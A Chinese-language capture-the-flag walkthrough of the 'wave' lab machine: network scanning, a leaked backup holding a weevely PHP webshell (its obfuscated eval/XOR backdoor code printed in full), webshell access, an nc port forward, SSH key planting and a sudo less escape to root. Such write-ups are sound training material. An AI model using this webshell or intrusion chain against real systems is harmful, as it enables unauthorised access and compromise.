kali:192.168.56.104
主机发现
arp-scan -l# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:05 (Unknown: locally administered)
192.168.56.100 08:00:27:b7:e8:a6 PCS Systemtechnik GmbH
192.168.56.110 08:00:27:88:eb:be PCS Systemtechnik GmbH靶机:192.168.56.110
端口扫描
nmap -p- -A 192.168.56.110PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 07:e9:c8:22:59:a5:00:41:15:fa:26:0f:7d:d3:29:ff (ECDSA)
|_ 256 c7:81:8e:06:49:33:8f:1a:88:3b:82:9e:27:f3:72:1e (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/backup
|_http-server-header: nginx/1.22.1
开启了22 80端口
先看web
四个大字
目录扫描
gobuster dir -u http://192.168.56.110 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt /backup (Status: 301) [Size: 169] [--> http://192.168.56.110/backup/]
/index.html (Status: 200) [Size: 31]
/index.html (Status: 200) [Size: 31]
/robots.txt (Status: 200) [Size: 18]
/robots.txt (Status: 200) [Size: 18]
备份文件泄露
看了一下内容，只有weevely.bck有用
file看一下什么文件
# file weevely.bck
weevely.bck: PHP phar archive with SHA1 signature
phar文件
提权phar文件
mv weevely.bck weevely.phar
php -d phar.readonly=0 -r '$phar = new Phar("weevely.phar"); $phar->extractTo(".");'┌──(root㉿kali2)-[~/Desktop]
└─# php -d phar.readonly=0 -r '$phar = new Phar("weevely.phar"); $phar->extractTo(".");'
┌──(root㉿kali2)-[~/Desktop]
└─# cat x
<?php eval('$k="3ddf0d5c";$kh="b6e7a529b6c2";$kf="d598a771749b";$p="afnqDsRcBpVmU71y";
function x($t,$k){
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}'); php代码
这个weevely.phar应该使用weevely生成的马
连接密码是3ddf0d5cb6e7a529b6c2d598a771749b碰撞的结果
连接密码是aaazz
但是文件拓展名还不知道
测试发现拓展名为php7
weevely连接拿到www-data权限
weevely http://192.168.56.110/weevely.php7 aaazz
[+] weevely 4.0.1
[+] Target: 192.168.56.110
[+] Session: /root/.weevely/sessions/192.168.56.110/weevely_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> whoami
www-data
www-data@wave:/var/www/html $翻了一圈没有什么东西
看网段
ss -lntupwww-data@wave:/ $ ss -lntup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=463,fd=5))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 1024 127.0.0.1:3923 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:* users:(("nginx",pid=463,fd=6))
tcp LISTEN 0 128 [::]:22 [::]:* 在3923端口有个服务，并且只能127.0.0.1访问
转发一下端口,这里不能用ssh端口转发,因为没有.ssh文件
这里用nc转发到8080端口
nc -l -k -p 8080 -c "nc 127.0.0.1 3923"
拿到user flag
可以新建文件夹，也可以上传文件尝试写入ssh私钥
把我kali 里面的id_rsa和authorized_keys(原名是id_rsa_pub)传上去
ssh连接两个用户名 angie 和carla发现angie可以连接
# ssh -i /root/.ssh/id_rsa angie@192.168.56.110
Enter passphrase for key '/root/.ssh/id_rsa':
Linux wave 6.1.0-11-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-4 (2023-08-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 5 11:14:50 2023 from 192.168.0.100
angie@wave:~$
sudo -l
angie@wave:~$ sudo -l
Matching Defaults entries for angie on wave:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User angie may run the following commands on wave:
(ALL) NOPASSWD: /usr/bin/less -F /opt/secret.txt
-F选项： 当less显示的内容不足以填充整个屏幕时，-F选项会使less以普通模式运行，不会将短文件直接输出到终端，而是以普通文件查看方式启动，这样您就能够使用less的所有功能。
所以窗口要非常小让两行内容显示不了才能在底端执行命令输入!bash
直接拿到root权限
root@wave:~# cd /root
root@wave:~# ls
root.txt
root@wave:~# cat r*
HMVNVJrewoiu47rewFDSR
root@wave:~# 总结:1.备份文件泄露,weevely马连接
2.nc端口转发
3.ssh公私钥写入
4.less -F提权
